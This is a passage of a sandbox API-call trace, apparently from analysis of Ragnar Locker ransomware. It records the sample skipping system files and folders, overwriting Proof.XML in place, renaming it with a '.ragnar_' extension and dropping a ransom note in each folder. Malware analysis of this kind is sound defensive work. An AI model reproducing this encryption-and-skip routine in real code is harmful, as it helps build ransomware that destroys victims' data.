ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0063.435] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0063.435] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0063.435] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780cb500, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x780cb500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0063.435] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0063.435] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780cb500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x780cb500, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0063.435] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780cb500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x780cb500, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.435] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0063.435] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x60 [0063.435] lstrcpyW (in: lpString1=0x1ea0ca, lpString2="Proof.XML" | out: lpString1="Proof.XML") returned="Proof.XML" [0063.435] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned=".XML" [0063.435] lstrcmpiW (lpString1="Proof.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0063.435] lstrcmpiW (lpString1="Proof.XML", lpString2="autorun.inf") returned 1 [0063.435] lstrcmpiW (lpString1="Proof.XML", lpString2="boot.ini") returned 1 [0063.435] lstrcmpiW (lpString1="Proof.XML", lpString2="bootfont.bin") returned 1 [0063.435] lstrcmpiW (lpString1="Proof.XML", lpString2="bootsect.bak") returned 1 [0063.435] lstrcmpiW (lpString1="Proof.XML", lpString2="bootmgr") returned 1 [0063.435] lstrcmpiW (lpString1="Proof.XML", lpString2="bootmgr.efi") returned 1 [0063.435] lstrcmpiW (lpString1="Proof.XML", lpString2="bootmgfw.efi") returned 1 [0063.435] lstrcmpiW (lpString1="Proof.XML", lpString2="desktop.ini") returned 1 [0063.435] lstrcmpiW (lpString1="Proof.XML", lpString2="iconcache.db") returned 1 [0063.435] lstrcmpiW (lpString1="Proof.XML", lpString2="ntldr") returned 1 [0063.436] lstrcmpiW (lpString1="Proof.XML", lpString2="ntuser.dat") returned 1 [0063.436] lstrcmpiW (lpString1="Proof.XML", lpString2="ntuser.dat.log") returned 1 [0063.436] lstrcmpiW (lpString1="Proof.XML", lpString2="ntuser.ini") returned 1 [0063.436] lstrcmpiW (lpString1="Proof.XML", lpString2="thumbs.db") returned -1 [0063.436] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0063.436] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0063.436] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0063.436] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0063.436] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0063.436] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0063.436] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0063.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0063.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0063.436] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=1458) returned 1 [0063.436] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x5a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.436] GetProcessHeap () returned 0x580000 [0063.436] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0063.436] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0063.438] VirtualAlloc (lpAddress=0x0, dwSize=0x5b2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0063.438] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.438] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0063.439] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5b2, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x5b2, lpOverlapped=0x0) returned 1 [0063.439] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0063.439] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5b2, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.439] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5b2, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x5b2, lpOverlapped=0x0) returned 1 [0063.439] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5b2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.439] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0063.439] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x5b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.439] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.439] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0063.439] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0063.439] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0063.439] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.440] GetProcessHeap () returned 0x580000 [0063.440] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0063.440] CloseHandle (hObject=0x108) returned 1 [0063.440] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" [0063.440] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.ragnar_FD7BD9FC" [0063.440] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0063.441] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780cb500, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x780cb500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0063.441] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x60 [0063.441] lstrcpyW (in: lpString1=0x1ea0ca, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0063.441] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\RGNR_FD7BD9FC.txt") returned=".txt" [0063.441] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0063.441] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780cb500, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x780cb500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0063.441] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0063.441] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1 [0063.441] lstrcmpiW (lpString1="Proofing.en-us", lpString2=".") returned 1 [0063.441] lstrcmpiW (lpString1="Proofing.en-us", lpString2="..") returned 1 [0063.441] lstrcmpiW (lpString1="Proofing.en-us", lpString2="Windows") returned -1 [0063.441] lstrcmpiW (lpString1="Proofing.en-us", lpString2="Windows.old") returned -1 [0063.441] lstrcmpiW (lpString1="Proofing.en-us", lpString2="Tor browser") returned -1 [0063.441] lstrcmpiW (lpString1="Proofing.en-us", lpString2="Internet Explorer") returned 1 [0063.441] lstrcmpiW (lpString1="Proofing.en-us", lpString2="Google") returned 1 [0063.441] lstrcmpiW (lpString1="Proofing.en-us", lpString2="Opera") returned 1 [0063.441] lstrcmpiW (lpString1="Proofing.en-us", lpString2="Opera Software") returned 1 [0063.441] lstrcmpiW (lpString1="Proofing.en-us", lpString2="Mozilla") returned 1 [0063.442] lstrcmpiW (lpString1="Proofing.en-us", lpString2="Mozilla Firefox") returned 1 [0063.442] lstrcmpiW (lpString1="Proofing.en-us", lpString2="$Recycle.Bin") returned 1 [0063.442] lstrcmpiW (lpString1="Proofing.en-us", lpString2="ProgramData") returned 1 [0063.442] lstrcmpiW (lpString1="Proofing.en-us", lpString2="All Users") returned 1 [0063.442] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0063.442] lstrcpyW (in: lpString1=0x1eab90, lpString2="Proofing.en-us" | out: lpString1="Proofing.en-us") returned="Proofing.en-us" [0063.442] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\" [0063.442] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\" [0063.442] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\RGNR_FD7BD9FC.txt" [0063.442] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0063.446] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*" [0063.446] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x66 [0063.446] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0063.446] lstrcpyW (in: lpString1=0x1e9cc2, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0063.446] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780f1660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x780f1660, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0063.446] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0063.446] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780f1660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x780f1660, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.446] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0063.446] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0063.446] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0063.447] lstrcmpiW (lpString1="Proofing.XML", lpString2=".") returned 1 [0063.447] lstrcmpiW (lpString1="Proofing.XML", lpString2="..") returned 1 [0063.447] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780f1660, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x780f1660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0063.447] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0063.447] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0063.447] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0063.447] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1 [0063.447] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1 [0063.447] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0063.447] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0063.447] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780f1660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x780f1660, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0063.447] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780f1660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x780f1660, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.447] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0063.447] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x66 [0063.447] lstrcpyW (in: lpString1=0x1ea0d6, lpString2="Proofing.XML" | out: lpString1="Proofing.XML") returned="Proofing.XML" [0063.447] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned=".XML" [0063.447] lstrcmpiW (lpString1="Proofing.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0063.447] lstrcmpiW (lpString1="Proofing.XML", lpString2="autorun.inf") returned 1 [0063.447] lstrcmpiW (lpString1="Proofing.XML", lpString2="boot.ini") returned 1 [0063.447] lstrcmpiW (lpString1="Proofing.XML", lpString2="bootfont.bin") returned 1 [0063.447] lstrcmpiW (lpString1="Proofing.XML", lpString2="bootsect.bak") returned 1 [0063.447] lstrcmpiW (lpString1="Proofing.XML", lpString2="bootmgr") returned 1 [0063.447] lstrcmpiW (lpString1="Proofing.XML", lpString2="bootmgr.efi") returned 1 [0063.447] lstrcmpiW (lpString1="Proofing.XML", lpString2="bootmgfw.efi") returned 1 [0063.448] lstrcmpiW (lpString1="Proofing.XML", lpString2="desktop.ini") returned 1 [0063.448] lstrcmpiW (lpString1="Proofing.XML", lpString2="iconcache.db") returned 1 [0063.448] lstrcmpiW (lpString1="Proofing.XML", lpString2="ntldr") returned 1 [0063.448] lstrcmpiW (lpString1="Proofing.XML", lpString2="ntuser.dat") returned 1 [0063.448] lstrcmpiW (lpString1="Proofing.XML", lpString2="ntuser.dat.log") returned 1 [0063.448] lstrcmpiW (lpString1="Proofing.XML", lpString2="ntuser.ini") returned 1 [0063.448] lstrcmpiW (lpString1="Proofing.XML", lpString2="thumbs.db") returned -1 [0063.448] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0063.448] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0063.448] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0063.448] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0063.448] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0063.448] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0063.448] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0063.448] 